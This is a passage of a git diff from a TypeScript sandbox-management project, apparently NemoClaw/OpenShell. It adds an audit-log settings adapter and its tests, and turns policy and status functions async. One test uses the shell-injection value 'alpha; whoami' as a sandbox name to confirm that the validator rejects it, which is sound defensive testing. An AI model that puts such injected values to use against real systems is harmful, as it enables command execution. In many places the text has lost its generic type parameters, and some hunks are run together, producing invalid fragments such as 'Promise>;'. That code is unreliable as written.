OpenShellSandboxResult; +} diff --git a/src/lib/adapters/openshell/sandbox-settings-cli.test.ts b/src/lib/adapters/openshell/sandbox-settings-cli.test.ts new file mode 100644 index 00000000000..91df93e2033 --- /dev/null +++ b/src/lib/adapters/openshell/sandbox-settings-cli.test.ts @@ -0,0 +1,69 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; +import { namedOpenShellGateway, selectedOpenShellGateway } from "./sandbox-observer"; +import { createCliOpenShellSandboxSettings } from "./sandbox-settings-cli"; + +describe("sandbox audit settings", () => { + it("enables audit logs on the requested gateway with bounded capture", async () => { + const capture = vi.fn(async () => ({ status: 0, output: "" })); + const result = await createCliOpenShellSandboxSettings(capture).enableAuditLogs({ + target: namedOpenShellGateway("nemoclaw"), + sandboxName: "alpha", + timeoutMs: 500, + }); + expect(result).toEqual({ ok: true, value: undefined }); + expect(capture).toHaveBeenCalledWith( + [ + "settings", + "set", + "-g", + "nemoclaw", + "alpha", + "--key", + "ocsf_json_enabled", + "--value", + "true", + ], + expect.objectContaining({ timeout: 500, maxBuffer: 1024 * 1024 }), + ); + }); + + it.each([ + [1, "unauthorized credential-canary", undefined, "authentication"], + [ + null, + "credential-canary", + Object.assign(new Error("credential-canary"), { code: "ETIMEDOUT" }), + "timeout", + ], + [null, "credential-canary", undefined, "command"], + [0, "credential-canary", new Error("credential-canary"), "command"], + ] as const)( + "classifies failed audit updates without exposing diagnostics (%s, %s)", + async (status, output, error, kind) => { + const capture = vi.fn(async () => ({ status, output, ...(error ? { error } : {}) })); + const result = await createCliOpenShellSandboxSettings(capture).enableAuditLogs({ + target: selectedOpenShellGateway(), + sandboxName: "alpha", + timeoutMs: 500, + }); + expect(result).toMatchObject({ ok: false, error: { kind } }); + expect(JSON.stringify(result)).not.toContain("credential-canary"); + expect(capture).toHaveBeenCalledOnce(); + }, + ); + + it("rejects invalid targets without starting a process", async () => { + const capture = vi.fn(async () => ({ status: 0, output: "" })); + expect( + await createCliOpenShellSandboxSettings(capture).enableAuditLogs({ + target: selectedOpenShellGateway(), + sandboxName: "alpha; whoami", + timeoutMs: 500, + }), + ).toMatchObject({ ok: false, error: { reason: "invalid_request" } }); + expect(capture).not.toHaveBeenCalled(); + }); +}); diff --git a/src/lib/adapters/openshell/sandbox-settings-cli.ts b/src/lib/adapters/openshell/sandbox-settings-cli.ts new file mode 100644 index 00000000000..5b009c7c303 --- /dev/null +++ b/src/lib/adapters/openshell/sandbox-settings-cli.ts @@ -0,0 +1,50 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { isValidName } from "../../sandbox-name-contract"; +import { assertNoOpenShellGatewayEndpointOverride } from "../../openshell-gateway-endpoint-guard"; +import { captureSanitizedResolvedOpenshellAsync } from "./sanitized-capture"; +import { classifyCliOpenShellCommandError } from "./sandbox-observer-cli"; +import type { OpenShellSandboxSettings } from "./sandbox-settings"; + +export function createCliOpenShellSandboxSettings( + capture: typeof captureSanitizedResolvedOpenshellAsync = captureSanitizedResolvedOpenshellAsync, +): OpenShellSandboxSettings { + return { + enableAuditLogs: async ({ target, sandboxName, timeoutMs }) => { + if ( + !isValidName(sandboxName) || + (target.kind === "named" && !isValidName(target.gatewayName)) + ) { + return { + ok: false, + error: { + kind: "command", + reason: "invalid_request", + message: "Invalid sandbox audit target.", + }, + }; + } + if (target.kind === "named") assertNoOpenShellGatewayEndpointOverride(); + const args = ["settings", "set"]; + if (target.kind === "named") args.push("-g", target.gatewayName); + args.push(sandboxName, "--key", "ocsf_json_enabled", "--value", "true"); + const result = await capture(args, { + ignoreError: true, + includeStreams: true, + includeStderr: true, + timeout: timeoutMs, + maxBuffer: 1024 * 1024, + }); + const error = classifyCliOpenShellCommandError(result, { + authentication: "OpenShell could not authenticate the sandbox audit setting update.", + command: "OpenShell could not enable sandbox audit logs.", + schema: "The OpenShell CLI and gateway settings schemas do not match.", + timeout: "Enabling OpenShell sandbox audit logs timed out.", + }); + return error ? { ok: false, error } : { ok: true, value: undefined }; + }, + }; +} + +export const cliOpenShellSandboxSettings = createCliOpenShellSandboxSettings(); diff --git a/src/lib/adapters/openshell/sandbox-settings.ts b/src/lib/adapters/openshell/sandbox-settings.ts new file mode 100644 index 00000000000..506e7bb61f3 --- /dev/null +++ b/src/lib/adapters/openshell/sandbox-settings.ts @@ -0,0 +1,14 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import type { OpenShellGatewayTarget, OpenShellSandboxResult } from "./sandbox-observer"; + +export interface OpenShellSandboxSettings { + enableAuditLogs( + request: Readonly<{ + target: OpenShellGatewayTarget; + sandboxName: string; + timeoutMs: number; + }>, + ): Promise>; +} diff --git a/src/lib/adapters/openshell/sanitized-capture.ts b/src/lib/adapters/openshell/sanitized-capture.ts index 633ca2bd89a..1f4f281e609 100644 --- a/src/lib/adapters/openshell/sanitized-capture.ts +++ b/src/lib/adapters/openshell/sanitized-capture.ts @@ -18,10 +18,7 @@ type SanitizedCaptureOptions = Readonly<{ }>; /** Capture a bounded OpenShell read with a credential-minimizing environment. */ -export function captureSanitizedResolvedOpenshell( - args: string[], - opts: SanitizedCaptureOptions, -): CapturedOpenShellCommandResult { +function resolveCapture(args: string[]) { const env = buildOpenShellSubprocessEnv(); for (const name of ["XDG_CONFIG_HOME", "OPENSHELL_WORKSPACE"] as const) { const value = process.env[name]; @@ -32,17 +29,44 @@ export function captureSanitizedResolvedOpenshell( const openshell = resolveOpenshellBinaryOrNull(); if (!openshell) { - return { - status: null, - output: "", - error: Object.assign(new Error("OpenShell binary not found"), { code: "ENOENT" }), - }; + return null; } if (!path.isAbsolute(openshell)) throw new Error("OpenShell executable must be absolute"); + return { openshell, env }; +} + +function missingBinary(): CapturedOpenShellCommandResult { + return { + status: null, + output: "", + error: Object.assign(new Error("OpenShell binary not found"), { code: "ENOENT" }), + }; +} + +export function captureSanitizedResolvedOpenshell( + args: string[], + opts: SanitizedCaptureOptions, +): CapturedOpenShellCommandResult { + const resolved = resolveCapture(args); + if (!resolved) return missingBinary(); return openshellRuntime.captureOpenshell(args, { - openshellBinary: openshell, - env, + openshellBinary: resolved.openshell, + env: resolved.env, replaceEnv: true, ...opts, }); } + +export async function captureSanitizedResolvedOpenshellAsync( + args: string[], + opts: SanitizedCaptureOptions, +): Promise { + const resolved = resolveCapture(args); + if (!resolved) return missingBinary(); + return openshellRuntime.captureResolvedOpenshellAsync(args, { + ...opts, + openshellBinary: resolved.openshell, + env: opts.env ?? resolved.env, + replaceEnv: true, + }); +} diff --git a/src/lib/domain/sandbox/logs.test.ts b/src/lib/domain/sandbox/logs.test.ts index ed27d1504c5..cb044364218 100644 --- a/src/lib/domain/sandbox/logs.test.ts +++ b/src/lib/domain/sandbox/logs.test.ts @@ -4,7 +4,6 @@ import { describe, expect, it } from "vitest"; import { - buildEnableSandboxAuditLogsArgs, buildSandboxLogsArgs, buildSandboxOpenclawGatewayLogsArgs, describeLogProbeResult, @@ -58,15 +57,6 @@ describe("sandbox logs helpers", () => { since: "5m", }), ).toEqual(["logs", "alpha", "-n", "25", "--source", "all", "--since", "5m", "--tail"]); - expect(buildEnableSandboxAuditLogsArgs("alpha")).toEqual([ - "settings", - "set", - "alpha", - "--key", - "ocsf_json_enabled", - "--value", - "true", - ]); }); it("describes log probe results and bounds probe timeout env input", () => { diff --git a/src/lib/domain/sandbox/logs.ts b/src/lib/domain/sandbox/logs.ts index 35d95bd13e2..8e6f6d7e16a 100644 --- a/src/lib/domain/sandbox/logs.ts +++ b/src/lib/domain/sandbox/logs.ts @@ -50,16 +50,6 @@ export function normalizeSandboxLogsOptions( }; } -export function buildEnableSandboxAuditLogsArgs( - sandboxName: string, - gatewayName?: string, -): string[] { - const args = ["settings", "set"]; - if (gatewayName) args.push("-g", gatewayName); - args.push(sandboxName, "--key", "ocsf_json_enabled", "--value", "true"); - return args; -} - export function buildSandboxOpenclawGatewayLogsArgs( sandboxName: string, options: SandboxLogsOptions, diff --git a/src/lib/inventory/index.test.ts b/src/lib/inventory/index.test.ts index 6d9c33e861f..0ee4f141387 100644 --- a/src/lib/inventory/index.test.ts +++ b/src/lib/inventory/index.test.ts @@ -331,8 +331,8 @@ describe("inventory commands", () => { expect(inventory.sandboxes).toEqual([]); }); - it("hides route-only reservations from status output too (#7609)", () => { - const report = getStatusReport({ + it("hides route-only reservations from status output too (#7609)", async () => { + const report = await getStatusReport({ listSandboxes: () => ({ sandboxes: [ { @@ -378,7 +378,7 @@ describe("inventory commands", () => { expect(lines.some((line) => line.includes("base-img-reject"))).toBe(false); }); - it("reports incomplete onboarding in global status without sandbox probes (#10097)", () => { + it("reports incomplete onboarding in global status without sandbox probes (#10097)", async () => { const listSandboxes = () => ({ sandboxes: [ { @@ -399,7 +399,7 @@ describe("inventory commands", () => { }); const getLiveInference = vi.fn(); const getGatewayHealth = vi.fn(); - const report = getStatusReport({ + const report = await getStatusReport({ listSandboxes, loadLastSession, getLiveInference, @@ -450,8 +450,8 @@ describe("inventory commands", () => { expect(lines.some((line) => line.includes("base-img-reject"))).toBe(false); }); - it("normalizes invalid configured inference fields out of status rows", () => { - const report = getStatusReport({ + it("normalizes invalid configured inference fields out of status rows", async () => { + const report = await getStatusReport({ listSandboxes: () => ({ sandboxes: [ { name: "blank-provider", provider: "", model: "nvidia/test" }, @@ -471,11 +471,11 @@ describe("inventory commands", () => { ]); }); - it("reports schema-5 phase without ambient global probes", () => { + it("reports schema-5 phase without ambient global probes", async () => { const getLiveInference = vi.fn(); const getGatewayHealth = vi.fn(); const getServiceStatuses = vi.fn(); - const report = getStatusReport({ + const report = await getStatusReport({ listSandboxes: () => ({ sandboxes: [ { @@ -550,24 +550,25 @@ describe("inventory commands", () => { expect(showServiceStatus).not.toHaveBeenCalled(); }); - it("fails before ambient probes when schema-5 registry agreement is rejected", () => { + it("fails before ambient probes when schema-5 registry agreement is rejected", async () => { const getLiveInference = vi.fn(); const getGatewayAuthority = vi.fn(); - expect(() => - getStatusReport({ - listSandboxes: () => ({ - sandboxes: [{ name: "alpha", agent: "hermes" }], - defaultSandbox: "alpha", - }), - getHermesPortableHostAuthorityCount: () => 1, - getHermesPortablePhase: () => { - throw new Error("registry row disagreement"); - }, - getLiveInference, - getGatewayAuthority, - showServiceStatus: vi.fn(), - }), - ).toThrow("registry row disagreement"); + await expect( + (async () => + await getStatusReport({ + listSandboxes: () => ({ + sandboxes: [{ name: "alpha", agent: "hermes" }], + defaultSandbox: "alpha", + }), + getHermesPortableHostAuthorityCount: () => 1, + getHermesPortablePhase: () => { + throw new Error("registry row disagreement"); + }, + getLiveInference, + getGatewayAuthority, + showServiceStatus: vi.fn(), + }))(), + ).rejects.toThrow("registry row disagreement"); expect(getLiveInference).not.toHaveBeenCalled(); expect(getGatewayAuthority).not.toHaveBeenCalled(); }); @@ -1132,13 +1133,13 @@ describe("inventory commands", () => { expect(showServiceStatus).toHaveBeenCalledWith({ sandboxName: "alpha" }); }); - it("reuses the existing sandbox list when resolving JSON status service sandbox", () => { + it("reuses the existing sandbox list when resolving JSON status service sandbox", async () => { const listSandboxes = vi.fn(() => ({ sandboxes: [{ name: "alpha", model: "nvidia/nemotron-3-super-120b-a12b" }], defaultSandbox: "alpha", })); const getServiceStatuses = vi.fn().mockReturnValue([]); - const report = getStatusReport({ + const report = await getStatusReport({ listSandboxes, getLiveInference: () => null, getServiceStatuses, @@ -1164,10 +1165,10 @@ describe("inventory commands", () => { expect(showServiceStatus).toHaveBeenCalledWith({ sandboxName: "env-sandbox" }); }); - it("resolves JSON service status sandbox from NEMOCLAW_SANDBOX_NAME env", () => { + it("resolves JSON service status sandbox from NEMOCLAW_SANDBOX_NAME env", async () => { process.env.NEMOCLAW_SANDBOX_NAME = "json-sandbox"; const getServiceStatuses = vi.fn().mockReturnValue([]); - const report = getStatusReport({ + const report = await getStatusReport({ listSandboxes: () => ({ sandboxes: [{ name: "json-sandbox" }], defaultSandbox: "other", diff --git a/src/lib/inventory/index.ts b/src/lib/inventory/index.ts index 30e89526458..0120f9818fe 100644 --- a/src/lib/inventory/index.ts +++ b/src/lib/inventory/index.ts @@ -88,7 +88,7 @@ export interface ListSandboxesCommandDeps { /** Detect active SSH sessions for a sandbox. Returns session count or null if unavailable. */ getActiveSessionCount?: (sandboxName: string) => number | null; /** Derive applied preset names from the current OpenShell policy. */ - getPolicyPresets?: (sandboxName: string) => string[]; + getPolicyPresets?: (sandboxName: string) => string[] | Promise; log?: (message?: string) => void; } @@ -155,7 +155,7 @@ export interface ShowStatusCommandDeps { */ getActiveSessionCount?: (sandboxName: string) => number | null; /** Derive applied preset names from the current OpenShell policy. */ - getPolicyPresets?: (sandboxName: string) => string[]; + getPolicyPresets?: (sandboxName: string) => string[] | Promise; /** * Report whether the named NemoClaw gateway is reachable. When omitted, * `showStatusCommand` keeps its legacy 0-exit behaviour; when provided and @@ -294,12 +294,12 @@ function resolveDisplayAgent(sandbox: SandboxEntry): string { * resolving inference/GPU fields and marking gateway-recovered rows so unknown * agent/GPU state renders as "unknown" rather than OpenClaw/CPU defaults. */ -function buildSandboxInventoryRow( +async function buildSandboxInventoryRow( sandbox: SandboxEntry, defaultSandbox: string | null, getActiveSessionCount?: (sandboxName: string) => number | null, - getPolicyPresets?: (sandboxName: string) => string[], -): SandboxInventoryRow { + getPolicyPresets?: (sandboxName: string) => string[] | Promise, +): Promise { const activeSessionCount = getActiveSessionCount ? getActiveSessionCount(sandbox.name) : null; const sandboxGpuEnabled = typeof sandbox.sandboxGpuEnabled === "boolean" @@ -318,7 +318,7 @@ function buildSandboxInventoryRow( sandboxGpuDevice: safeStatusString(sandbox.sandboxGpuDevice || null), openshellDriver: safeStatusString(sandbox.openshellDriver || null), openshellVersion: safeStatusString(sandbox.openshellVersion || null), - policies: getPolicyPresets?.(sandbox.name) ?? [], + policies: (await getPolicyPresets?.(sandbox.name)) ?? [], agent: resolveDisplayAgent(sandbox), ...(sandbox.dashboardPort != null ? { dashboardPort: sandbox.dashboardPort } : {}), isDefault: sandbox.name === defaultSandbox, @@ -344,6 +344,17 @@ export async function getSandboxInventory( : null; const incompleteOnboarding = projectIncompleteOnboarding(recovery.sandboxes, lastSession); + const rows = []; + for (const sandbox of recovery.sandboxes.filter(isPublishedSandboxRegistration)) { + rows.push( + await buildSandboxInventoryRow( + sandbox, + resolvedDefault, + deps.getActiveSessionCount, + deps.getPolicyPresets, + ), + ); + } return { schemaVersion: 1, defaultSandbox: resolvedDefault, @@ -355,16 +366,7 @@ export async function getSandboxInventory( incompleteOnboarding, // Pending rows are internal lifecycle state. They remain readable by their // recovery authority, but must not appear as completed sandboxes. - sandboxes: recovery.sandboxes - .filter(isPublishedSandboxRegistration) - .map((sandbox) => - buildSandboxInventoryRow( - sandbox, - resolvedDefault, - deps.getActiveSessionCount, - deps.getPolicyPresets, - ), - ), + sandboxes: rows, }; } @@ -475,13 +477,13 @@ export async function listSandboxesCommand(deps: ListSandboxesCommandDeps): Prom renderSandboxInventoryText(inventory, log, liveInference); } -function buildStatusSandboxRow( +async function buildStatusSandboxRow( sandbox: SandboxEntry, defaultSandbox: string | null, liveInference: GatewayInference | null, portablePhase: "pending" | "configuring" | "active" | null, - getPolicyPresets?: (sandboxName: string) => string[], -): StatusSandboxRow { + getPolicyPresets?: (sandboxName: string) => string[] | Promise, +): Promise { const isDefault = sandbox.name === defaultSandbox; const liveModel = isDefault ? liveInference?.model : null; const liveProvider = isDefault ? liveInference?.provider : null; @@ -505,7 +507,7 @@ function buildStatusSandboxRow( sandboxGpuDevice: safeStatusString(sandbox.sandboxGpuDevice || null), openshellDriver: safeStatusString(sandbox.openshellDriver || null), openshellVersion: safeStatusString(sandbox.openshellVersion || null), - policies: (getPolicyPresets?.(sandbox.name) ?? []).map( + policies: ((await getPolicyPresets?.(sandbox.name)) ?? []).map( (policy) => safeStatusString(policy) || policy, ), agent: redactFull(resolveDisplayAgent(sandbox)), @@ -562,7 +564,7 @@ function normalizeGatewayAuthority( }; } -export function getStatusReport(deps: ShowStatusCommandDeps): StatusReport { +export async function getStatusReport(deps: ShowStatusCommandDeps): Promise { const sandboxList = deps.listSandboxes(); // Pending registrations are recovery state, not normal sandbox inventory. const sandboxes = sandboxList.sandboxes.filter(isPublishedSandboxRegistration); @@ -595,6 +597,18 @@ export function getStatusReport(deps: ShowStatusCommandDeps): StatusReport { .map(normalizeServiceStatus) ?? []) : []; + const rows = []; + for (const sandbox of sandboxes) { + rows.push( + await buildStatusSandboxRow( + sandbox, + resolvedDefault, + liveInference, + portablePhases.get(sandbox.name) ?? null, + deps.getPolicyPresets, + ), + ); + } return { schemaVersion: 1, defaultSandbox: safeStatusString(resolvedDefault), @@ -609,15 +623,7 @@ export function getStatusReport(deps: ShowStatusCommandDeps): StatusReport { ? null : normalizeGatewayAuthority(deps.getGatewayAuthority?.()), incompleteOnboarding, - sandboxes: sandboxes.map((sandbox) => - buildStatusSandboxRow( - sandbox, - resolvedDefault, - liveInference, - portablePhases.get(sandbox.name) ?? null, - deps.getPolicyPresets, - ), - ), + sandboxes: rows, services, }; } diff --git a/src/lib/list-command-deps.ts b/src/lib/list-command-deps.ts index 75b556c31b4..2d8d7731494 100644 --- a/src/lib/list-command-deps.ts +++ b/src/lib/list-command-deps.ts @@ -92,9 +92,9 @@ export function buildListCommandDeps(): ListSandboxesCommandDeps { } }, loadLastSession: () => onboardSession.loadSession(), - getPolicyPresets: (sandboxName) => { + getPolicyPresets: async (sandboxName) => { try { - return policy.getAppliedPresets(sandboxName, INVENTORY_POLICY_PROBE_TIMEOUT_MS); + return await policy.getAppliedPresets(sandboxName, INVENTORY_POLICY_PROBE_TIMEOUT_MS); } catch { return []; } diff --git a/src/lib/onboard/external-component/activation.test.ts b/src/lib/onboard/external-component/activation.test.ts index c4dbd736b4d..0f92c857b47 100644 --- a/src/lib/onboard/external-component/activation.test.ts +++ b/src/lib/onboard/external-component/activation.test.ts @@ -41,7 +41,9 @@ function fixture( policySource: "sandbox", policyHash, policyActiveVersion: 7, - revalidate: vi.fn((operation) => events.push(operation)), + revalidate: vi.fn((operation) => { + events.push(operation); + }), }; return { component, proof }; } @@ -301,6 +303,24 @@ describe("external component activation", () => { expect(events).toEqual(["socket", "before_handoff", "request", "socket", "after_activation"]); }); + it("waits for policy revalidation before sending the activation request", async () => { + const { component, proof } = fixture(); + let finishProof!: () => void; + proof.revalidate = vi.fn( + () => + new Promise((resolve) => { + finishProof = resolve; + }), + ); + const transport = vi.fn(async (_path: string, body: string) => responseFor(body)); + const pending = activateExternalComponent(component, proof, transport); + expect(transport).not.toHaveBeenCalled(); + finishProof(); + await vi.waitFor(() => expect(transport).toHaveBeenCalledTimes(1)); + finishProof(); + await expect(pending).resolves.toEqual({ kind: "activated" }); + }); + it("returns failed activation for one exact rejection response (#11340)", async () => { const { component, proof } = fixture(); const transport = async (_socketPath: string, body: string) => diff --git a/src/lib/onboard/external-component/activation.ts b/src/lib/onboard/external-component/activation.ts index ab5df87a63a..33032d116dc 100644 --- a/src/lib/onboard/external-component/activation.ts +++ b/src/lib/onboard/external-component/activation.ts @@ -38,7 +38,7 @@ export interface ExternalComponentActivationProof { readonly policySource: "sandbox"; readonly policyHash: string; readonly policyActiveVersion: number; - revalidate(operation: "before_handoff" | "after_activation"): void; + revalidate(operation: "before_handoff" | "after_activation"): void | Promise; } interface ActivationResponse { @@ -217,7 +217,7 @@ export async function activateExternalComponent( }); try { component.revalidateBeforeActivation(); - proof.revalidate("before_handoff"); + await proof.revalidate("before_handoff"); } catch { return { kind: "ambiguous", activationId, reason: "evidence_mismatch" }; } @@ -248,7 +248,7 @@ export async function activateExternalComponent( if (response.result === "rejected") return { kind: "rejected", activationId }; try { component.revalidateBeforeActivation(); - proof.revalidate("after_activation"); + await proof.revalidate("after_activation"); } catch { return { kind: "ambiguous", activationId, reason: "evidence_mismatch" }; } diff --git a/src/lib/onboard/external-component/onboarding.test.ts b/src/lib/onboard/external-component/onboarding.test.ts index b406d360418..d39a4bee65f 100644 --- a/src/lib/onboard/external-component/onboarding.test.ts +++ b/src/lib/onboard/external-component/onboarding.test.ts @@ -180,7 +180,7 @@ describe("external component onboarding lifecycle", () => { registry, runCaptureOpenshell, ); - const proof = deps.createExternalComponentActivationProof(sandboxName); + const proof = await deps.createExternalComponentActivationProof(sandboxName); const component: PreparedExternalComponent = { declaration: { schemaVersion: 1, diff --git a/src/lib/onboard/external-component/onboarding.ts b/src/lib/onboard/external-component/onboarding.ts index 94e888f6345..ab3feb57490 100644 --- a/src/lib/onboard/external-component/onboarding.ts +++ b/src/lib/onboard/external-component/onboarding.ts @@ -96,8 +96,8 @@ export function finalDeps( runCaptureOpenshell: CaptureOpenShell, ) { return { - createExternalComponentActivationProof: (sandboxName: string) => - createExternalComponentActivationProof(sandboxName, gatewayName, { + createExternalComponentActivationProof: async (sandboxName: string) => + await createExternalComponentActivationProof(sandboxName, gatewayName, { getSandbox: registry.getSandbox, inspectPolicy: inspectPolicyMutationContext, listSandboxes: (selectedGatewayName: string) => diff --git a/src/lib/onboard/external-component/proof.test.ts b/src/lib/onboard/external-component/proof.test.ts index 00d947e5dee..8e451be97fa 100644 --- a/src/lib/onboard/external-component/proof.test.ts +++ b/src/lib/onboard/external-component/proof.test.ts @@ -52,10 +52,10 @@ function fixture() { } describe("external component activation proof", () => { - it("binds the durable OpenShell identity to the effective policy (#11340)", () => { + it("binds the durable OpenShell identity to the effective policy (#11340)", async () => { const { deps } = fixture(); - const proof = createExternalComponentActivationProof("assistant", "nemoclaw", deps); + const proof = await createExternalComponentActivationProof("assistant", "nemoclaw", deps); expect(proof).toMatchObject({ gatewayName: "nemoclaw", @@ -73,13 +73,13 @@ describe("external component activation proof", () => { ); }); - it("rejects a mutable-name match with a different durable identity (#11340)", () => { + it("rejects a mutable-name match with a different durable identity (#11340)", async () => { const { deps, row } = fixture(); deps.listSandboxes.mockReturnValue(JSON.stringify([{ ...row, id: "replacement-456" }])); - expect(() => createExternalComponentActivationProof("assistant", "nemoclaw", deps)).toThrow( - ExternalComponentProofError, - ); + await expect( + (async () => await createExternalComponentActivationProof("assistant", "nemoclaw", deps))(), + ).rejects.toThrow(ExternalComponentProofError); expect(deps.inspectPolicy).not.toHaveBeenCalled(); }); @@ -129,30 +129,33 @@ describe("external component activation proof", () => { value.inspection.effectivePolicy.network_policies.inference.endpoints = []; }, ], - ])("rejects %s before handoff (#11340)", (_title, mutate) => { + ])("rejects %s before handoff (#11340)", async (_title, mutate) => { const value = fixture(); mutate(value); - expect(() => - createExternalComponentActivationProof("assistant", "nemoclaw", value.deps), - ).toThrow(ExternalComponentProofError); + await expect( + (async () => + await createExternalComponentActivationProof("assistant", "nemoclaw", value.deps))(), + ).rejects.toThrow(ExternalComponentProofError); }); - it("rejects identity or policy changes during revalidation (#11340)", () => { + it("rejects identity or policy changes during revalidation (#11340)", async () => { const { deps, entry } = fixture(); - const proof = createExternalComponentActivationProof("assistant", "nemoclaw", deps); + const proof = await createExternalComponentActivationProof("assistant", "nemoclaw", deps); entry.lifecycleGeneration = "generation-2"; - expect(() => proof.revalidate("after_activation")).toThrow(ExternalComponentProofError); + await expect(proof.revalidate("after_activation")).rejects.toThrow(ExternalComponentProofError); }); - it("replaces inspection details with the bounded proof reason class (#11340)", () => { + it("replaces inspection details with the bounded proof reason class (#11340)", async () => { const { deps } = fixture(); deps.inspectPolicy.mockImplementation(() => { throw new Error("component text and /private/activation.sock"); }); - expect(() => createExternalComponentActivationProof("assistant", "nemoclaw", deps)).toThrow( + await expect( + (async () => await createExternalComponentActivationProof("assistant", "nemoclaw", deps))(), + ).rejects.toThrow( "External component activation proof is unavailable. Reason class: evidence_mismatch.", ); }); diff --git a/src/lib/onboard/external-component/proof.ts b/src/lib/onboard/external-component/proof.ts index 4e9f8dad759..6fbae6c6f79 100644 --- a/src/lib/onboard/external-component/proof.ts +++ b/src/lib/onboard/external-component/proof.ts @@ -36,7 +36,11 @@ interface ExternalComponentProofDeps { readonly lifecycleGeneration?: string; readonly lifecycleLiveIdentityFingerprint?: string; } | null; - inspectPolicy(name: string, operation: string, gatewayName: string): PolicyContext; + inspectPolicy( + name: string, + operation: string, + gatewayName: string, + ): PolicyContext | Promise; listSandboxes(gatewayName: string): string; } @@ -50,11 +54,11 @@ interface ProofSnapshot { readonly sandboxIdentityFingerprint: string; } -function captureProofSnapshotUnchecked( +async function captureProofSnapshotUnchecked( sandboxName: string, expectedGatewayName: string, deps: ExternalComponentProofDeps, -): ProofSnapshot { +): Promise { const entry = deps.getSandbox(sandboxName); if ( !entry || @@ -76,7 +80,7 @@ function captureProofSnapshotUnchecked( if (fingerprint !== entry.lifecycleLiveIdentityFingerprint) { throw new ExternalComponentProofError(); } - const policy = deps.inspectPolicy( + const policy = await deps.inspectPolicy( sandboxName, "verify external component activation policy", expectedGatewayName, @@ -108,28 +112,28 @@ function captureProofSnapshotUnchecked( }; } -function captureProofSnapshot( +async function captureProofSnapshot( sandboxName: string, expectedGatewayName: string, deps: ExternalComponentProofDeps, -): ProofSnapshot { +): Promise { try { - return captureProofSnapshotUnchecked(sandboxName, expectedGatewayName, deps); + return await captureProofSnapshotUnchecked(sandboxName, expectedGatewayName, deps); } catch { throw new ExternalComponentProofError(); } } -export function createExternalComponentActivationProof( +export async function createExternalComponentActivationProof( sandboxName: string, gatewayName: string, deps: ExternalComponentProofDeps, -): ExternalComponentActivationProof { - const initial = captureProofSnapshot(sandboxName, gatewayName, deps); +): Promise { + const initial = await captureProofSnapshot(sandboxName, gatewayName, deps); return { ...initial, - revalidate: () => { - if (!isDeepStrictEqual(captureProofSnapshot(sandboxName, gatewayName, deps), initial)) { + revalidate: async () => { + if (!isDeepStrictEqual(await captureProofSnapshot(sandboxName, gatewayName, deps), initial)) { throw new ExternalComponentProofError(); } }, diff --git a/src/lib/onboard/machine/handlers/finalization.ts b/src/lib/onboard/machine/handlers/finalization.ts index 8d47752b0a3..2d8d851242f 100644 --- a/src/lib/onboard/machine/handlers/finalization.ts +++ b/src/lib/onboard/machine/handlers/finalization.ts @@ -43,7 +43,9 @@ export interface FinalizationStateOptions; createExternalComponentActivationId?(): string; activateExternalComponent?( component: PreparedExternalComponent, @@ -214,7 +216,7 @@ export async function handleFinalizationState ({ schemaVersion: 1 as const, diff --git a/src/lib/onboard/machine/handlers/policies.ts b/src/lib/onboard/machine/handlers/policies.ts index a0d5d1d6182..7e7ebb00eec 100644 --- a/src/lib/onboard/machine/handlers/policies.ts +++ b/src/lib/onboard/machine/handlers/policies.ts @@ -82,8 +82,11 @@ export interface PoliciesStateOptions { webSearchSupported: boolean; tierName?: string | null; }, - ): PolicyResumeSelection; - arePolicyPresetsApplied(sandboxName: string, selectedPresets: string[]): boolean; + ): PolicyResumeSelection | Promise; + arePolicyPresetsApplied( + sandboxName: string, + selectedPresets: string[], + ): boolean | Promise; skippedStepMessage(stepName: string, detail?: string | null): void; recordStateSkipped( state: "policies", @@ -209,7 +212,7 @@ export async function handlePoliciesState({ } if (!hostLocalInferenceRouteOnly) await verifySandboxInferenceRoute(); - const policyResumeSelection = deps.preparePolicyPresetResumeSelection(sandboxName, { + const policyResumeSelection = await deps.preparePolicyPresetResumeSelection(sandboxName, { disabledChannels, enabledChannels: policyMessagingChannels, hermesToolGateways, @@ -222,14 +225,15 @@ export async function handlePoliciesState({ }); const livePolicyPresetsForSupport = policyResumeSelection.policyPresets; const staleLocalInferencePolicy = - hostLocalInferenceRouteOnly && deps.arePolicyPresetsApplied(sandboxName, ["local-inference"]); + hostLocalInferenceRouteOnly && + (await deps.arePolicyPresetsApplied(sandboxName, ["local-inference"])); const resumePolicies = resume && !staleLocalInferencePolicy && !policyResumeSelection.livePolicyPresetsNeedUpdate && !policyResumeSelection.disabledMessagingPolicyPresetApplied && !policyResumeSelection.suppressedAgentRequiredPresetsLive && - deps.arePolicyPresetsApplied(sandboxName, livePolicyPresetsForSupport); + (await deps.arePolicyPresetsApplied(sandboxName, livePolicyPresetsForSupport)); let appliedPolicyPresets = livePolicyPresetsForSupport; let session: Session | null; diff --git a/src/lib/onboard/policy-context-seed.test.ts b/src/lib/onboard/policy-context-seed.test.ts index 788ebaa2e9a..81abf7dbae9 100644 --- a/src/lib/onboard/policy-context-seed.test.ts +++ b/src/lib/onboard/policy-context-seed.test.ts @@ -6,23 +6,23 @@ import { describe, expect, it, vi } from "vitest"; import { seedInitialPolicyContext } from "./policy-context-seed"; describe("seedInitialPolicyContext", () => { - it("calls the injected refresh function with the sandbox name", () => { + it("calls the injected refresh function with the sandbox name", async () => { const refresh = vi.fn(() => ({ outcome: "ok" })); const logError = vi.fn(); - seedInitialPolicyContext("alpha", { refresh, logError }); + await seedInitialPolicyContext("alpha", { refresh, logError }); expect(refresh).toHaveBeenCalledWith("alpha"); expect(logError).not.toHaveBeenCalled(); }); - it("logs once on stderr when the refresh function throws", () => { + it("logs once on stderr when the refresh function throws", async () => { const refresh = vi.fn(() => { throw new Error("require failed: cannot find module"); }); const logError = vi.fn(); - seedInitialPolicyContext("alpha", { refresh, logError }); + await seedInitialPolicyContext("alpha", { refresh, logError }); expect(refresh).toHaveBeenCalledTimes(1); expect(logError).toHaveBeenCalledTimes(1); @@ -30,71 +30,43 @@ describe("seedInitialPolicyContext", () => { expect(logError.mock.calls[0][0]).toContain("require failed"); }); - it("stringifies non-Error throws so the log never silently drops the cause", () => { + 